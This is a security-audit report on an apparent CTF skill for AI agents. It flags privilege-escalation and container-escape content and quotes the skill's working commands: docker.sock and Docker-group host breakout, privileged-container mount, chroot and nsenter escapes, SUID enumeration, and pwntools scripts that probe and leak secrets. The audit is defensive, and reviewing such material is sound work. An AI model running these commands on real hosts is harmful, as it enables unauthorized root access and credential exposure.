T05 · Unauthorized Access and Privilege Escalation
- Location
games-and-vms-3.md:172- Finding
Executable Marshal Payload Exfiltrates Sensitive Server State over a Socket
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
This CTF reference skill is openly about challenge solving, but it includes runnable host-escape, privilege-escalation, and secret-extraction recipes that need human review before installation.
Install only if you intend to use it in authorized CTF or disposable lab environments. Do not let an agent apply these instructions to your own host, containers, Kubernetes clusters, internal networks, NFS shares, credentials, or third-party systems without explicit authorization and isolation.
games-and-vms-3.md:172Executable Marshal Payload Exfiltrates Sensitive Server State over a Socket
games-and-vms.md:264Kubernetes Service Account Token Use Enables Cluster Secret Access and Node Escalation
games-and-vms-3.md:443Container Escape Instructions Mount the Host Root Filesystem
games-and-vms-3.md:400BuildKit Daemon Exploitation Exposes Build Secrets
linux-privesc.md:107SUID Shell Creation Establishes Persistent Root Access
linux-privesc.md:23Sudoers File Injection Grants Unrestricted Root Privileges
bashjails.md:99System-Wide Reconnaissance Targets Process Data, SSH Keys, and Credentials
dns.md:78DNS Rebinding and Internal Network Enumeration Bypass Network Access Controls
SKILL.md:17Unpinned Dependencies and External Decoder Uploads Create Supply-Chain and Disclosure Risk
Referenced artifact was not completely inspected
- [bashjails.md](bashjails.md) - Bash jail/restricted shell escape techniques, HISTFILE file read trick, bash -v verbose mode, ctypes.sh direct C library calls
Referenced artifact was not completely inspected
- [bashjails.md](bashjails.md) - Bash jail/restricted shell escape techniques, HISTFILE file read trick, bash -v verbose mode, ctypes.sh direct C library calls
YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
details (IQ formats, QAM-16 demod, carrier/timing recovery).
Quick reference:
np.fromfile(path, dtype=np.complex64) | cs16: int16 reshape(-1,2) | cu8: RTL-SDR rawfrom pwn import *
r = remote('host', port)
r.recvuntil(b'prompt: ')
r.sendline(b'answer')
r.interactive()
L() = length, Q(i,x) = compare, S(guess) = submit. Linear or binary search.(abcdef := "new_chars") reassigns constraint vars@__import__ + @func.__class__.__dict__[__name__.__name__].__get__ for no-call, no-quotes escapeopen(''.join(['fl','ag.txt'])).read() when + is blockedSee pyjails.md for full techniques.
Container escape and host-root breakout guidance is not necessary for a broad 'miscellaneous CTF techniques' skill and provides direct instructions for escaping isolation boundaries. In an agent environment with filesystem and shell access, this materially increases the likelihood of real host compromise if the skill is invoked inappropriately.
This section explicitly documents Linux privilege-escalation, host breakout, SUID abuse, sudo injection, PostgreSQL COPY TO PROGRAM RCE, and Docker-root compromise while the skill presents itself as a generic CTF reference. Hidden or under-disclosed offensive scope is dangerous because it increases the chance an agent will use the material in environments where such actions are unauthorized and harmful.
The find / -perm -4000 example is a classic privilege-escalation enumeration step used to locate SUID binaries for abuse. In context, it is not merely educational metadata; it is embedded in a section explicitly teaching SUID exploitation and host privesc.
r for moves with extrusion (head moving while printing)
## Discord API Enumeration (0xFun 2026)
Flags hidden in Discord metadata (roles, animated emoji, embeds). Invoke `/ctf-osint` for Discord API enumeration technique and code (see social-media.md in ctf-osint).
---
## SUID Binary Exploitation (0xFun 2026)
```bash
# Find SUID binaries
find / -perm -4000 2>/dev/null
# Cross-reference with GTFObins
# xxd with SUID: xxd flag.txt | xxd -r
# vim with SUID: vim -c ':!cat /flag.txt'
Reference: https://gtfobins.github.io/
# GECOS field passwords
cat /etc/passwd # Check 5th colon-separated field
# ACL permissions
getfacl /path/to/restricted/file
# Sudo permissions
sudo -l
# Docker group membership (instant root)
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
User in the `doc
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
# GECOS field passwords
cat /etc/passwd # Check 5th colon-separated field
# ACL permissions
getfacl /path/to/restricted/file
The command docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh mounts the host root filesystem into a container and then chroots into it, providing effective host-root access to anyone with Docker privileges. In a filesystem-capable agent context, this is a direct host breakout instruction.
sudo -l
id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
## Docker Group Privilege Escalation (H7CTF 2025)
This section gives step-by-step guidance for converting Docker group membership into host-root access by mounting / and chrooting into the host. That is a direct privilege-escalation recipe and is unjustified by the declared purpose of a miscellaneous challenge reference.
This is the same breakout pattern repeated as a worked privilege-escalation example. It directly instructs how to compromise the host from Docker group membership by bind-mounting / and entering the mounted root filesystem.
id # Look for "docker" in groups
# Mount host root filesystem and chroot
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
# Now running as root on the host filesystem
cat /root/flag.txt
The skill explicitly states that access to /var/run/docker.sock enables creation of privileged containers that mount the host filesystem. In an agent or developer environment, exposing or encouraging use of the Docker socket effectively grants root-equivalent control over the host.
cat /root/flag.txt
**Key insight:** Docker group membership is equivalent to root access. The `docker` CLI socket (`/var/run/docker.sock`) allows creating privileged containers that mount the entire host filesystem.
**Reference:** https://gtfobins.github.io/gtfobins/docker/
The pwntools-based script automates character-set probing against a remote service to map filter behavior and support payload development for jail escape. While not harmful by itself, it is an exploit-development helper that lowers the effort needed to enumerate and attack command-processing services.
-shell-file-reads-bctf-2016)
Methodology: Send test inputs and observe error messages to determine:
eval'd, passed to bash -c, or something elseTest for character filtering:
from pwn import *
import time
# Send each char combined with a known-good payload
for c in range(32, 127):
r = remote(host, port, level='error')
r.sendline(b'$#' + bytes([c]) + b'$#')
time.sleep(0.3)
try:
data = r.recv(timeout=1)
if data:
print(f'{chr(c)!r}: {data.decode().strip()[:60]}')
except:
pass
r.close()
Silent rejection = character not allowed. Error output = character passed the filter.
Key insight: Systematically probe each printable character to map the allowed set before crafting payloads. Silent rejection m
This skill contains explicit, operational guidance for escaping restricted shells, discovering internal services, reading protected files, and performing post-compromise privilege-escalation checks. Even in a CTF context, the content is directly transferable to real systems and lacks limiting language, guardrails, or framing that would reduce misuse, so publishing it as an agent skill meaningfully increases offensive capability.
The privilege-escalation checklist includes concrete reconnaissance commands for identifying SUID binaries, capabilities, process metadata, and container context after obtaining shell access. These are standard post-exploitation steps that materially help an attacker pivot from initial access to higher privileges or protected data discovery on non-CTF targets.
h` |
| interactive | `bash` or `-bash` |
| sh | `sh` |
**Key insight:** Build arbitrary strings from minimal character sets by combining `$#` (yields 0), `${##}` (yields 1), `$$` (PID digits), and ANSI-C quoting (`$'\NNN'` for octal). Even a 3-character alphabet (`#$\`) is sufficient to spawn a shell via `$0` expansion.
---
## Privilege Escalation Checklist (Post-Shell)
1. **SUID binaries:** `find / -perm -4000 2>/dev/null`
2. **Capabilities:** `find / -executable -type f -exec getcap {} \; 2>/dev/null`
3. **Internal services:** Check `/proc/*/cmdline` for flag-serving daemons
4. **Process UIDs:** `cat /proc/*/status 2>/dev/null | grep -A5 "^Name:.*flag"`
5. **Writable paths:** Check if PATH contains writable dirs
6. **Docker/container:** `/dev/tcp` for internal service access, `/.dockerenv` presence
**Key insight:** After escaping the jail, run through this checklist in order: SUID binaries and capabilities first (quickest wins), then internal services via `/proc/*/cmdline`, then
The section describes exploiting emulator state preservation to display secret memory by mixing ROMs, which is a form of sensitive data extraction. In context it is a CTF pattern, but it still teaches a reusable exploitation method for state confusion and unintended memory disclosure.
**Practical example:**
The inclusion of pwntools-backed exploit automation and remote interaction code makes the section more operational and easier to weaponize. While common in CTF education, it materially lowers the barrier to exploit emulator/debug-interface vulnerabilities and extract secrets.
ret)
Exploit workflow:
1. Load ROM_A (contains INIT that loads secret into RAM)
2. Step through ROM_A until secret data is in RAM
3. Note the current PC value
4. /load ROM_B (PC, registers, RAM all preserved)
5. ROM_B has a "display memory" instruction at the current PC
6. Step → executes ROM_B's display instruction, showing ROM_A's secret data
Practical example:
from pwn import *
p = remote('target', port)
# Load first ROM that initializes secret data
p.sendlineafter('> ', '/load rom_init.bin')
# Step until secret is in memory (determined by analysis)
for _ in range(42):
p.sendlineafter('> ', '/step')
# Switch to ROM that displays memory at current PC
p.sendlineafter('> ', '/load rom_display.bin')
p.sendlineafter('> ', '/step')
# Read the leaked secret
flag = p.recvline().strip()
print(f"Flag: {flag}")
When to recognize:
/load, /step, /run, /dump commandsSkill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
**Key lessons:**
- Emulator debug interfaces that don't reset CPU state on ROM load create a state-mixing vulnerability
- Combine instructions from different programs by loading them at the right PC values
- Protected memory (read-only in one ROM's context) becomes accessible via another ROM's display instructions
**References:** BSidesSF 2026 "wromwarp"
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
**Key lessons:**
- Emulator debug interfaces that don't reset CPU state on ROM load create a state-mixing vulnerability
- Combine instructions from different programs by loading them at the right PC values
- Protected memory (read-only in one ROM's context) becomes accessible via another ROM's display instructions
**References:** BSidesSF 2026 "wromwarp"
The content states that privileged containers can break out to the host and then provides exploitation guidance. This is dangerous because --privileged largely disables container isolation and the section teaches how to convert that into host access.
Containers started with --privileged have all Linux capabilities and access to host devices. Mount the host filesystem and chroot:
# List host disks
The nsenter example provides a concrete method to join host namespaces and obtain a shell, which is effectively immediate host escape if prerequisites are met. This is highly transferable beyond CTFs to real container breakout scenarios.
mkdir /mnt/host && mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
Potential security issue detected. Manual review is recommended.
chroot /mnt/host /bin/bash
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
### Docker Socket Escape
The section normalizes docker.sock access as an escape path; possession of /var/run/docker.sock typically grants full control over the Docker daemon and therefore the host. In a CTF skill this is contextually relevant, but it is still dangerous because the advice transfers directly to real-world host takeover.
If /var/run/docker.sock is mounted inside the container, create a new privileged container that mounts the host root:
# Check for socket
This line instructs checking for the Docker socket specifically as a precursor to host escape. That reconnaissance materially assists exploitation because it identifies a direct control channel to the host daemon.
# Check for socket
ls -la /var/run/docker.sock
# Escape: create privileged container with host root mounted
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash
# Or via API if docker CLI unavailable:
Binding the host root filesystem into a container and chrooting into it is a practical host escape technique when combined with Docker control. This is directly actionable offensive guidance for full host compromise.
# Check for socket
ls -la /var/run/docker.sock
# Escape: create privileged container with host root mounted
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash
# Or via API if docker CLI unavailable:
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/create" \
Using curl over the Unix socket to create containers is a direct Docker daemon exploitation technique. With privileged mode and host bind mounts, an attacker can escape confinement and access or modify the host filesystem.
# Escape: create privileged container with host root mounted
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash
# Or via API if docker CLI unavailable:
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/create" \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"],"Privileged":true}'
No suspicious patterns detected.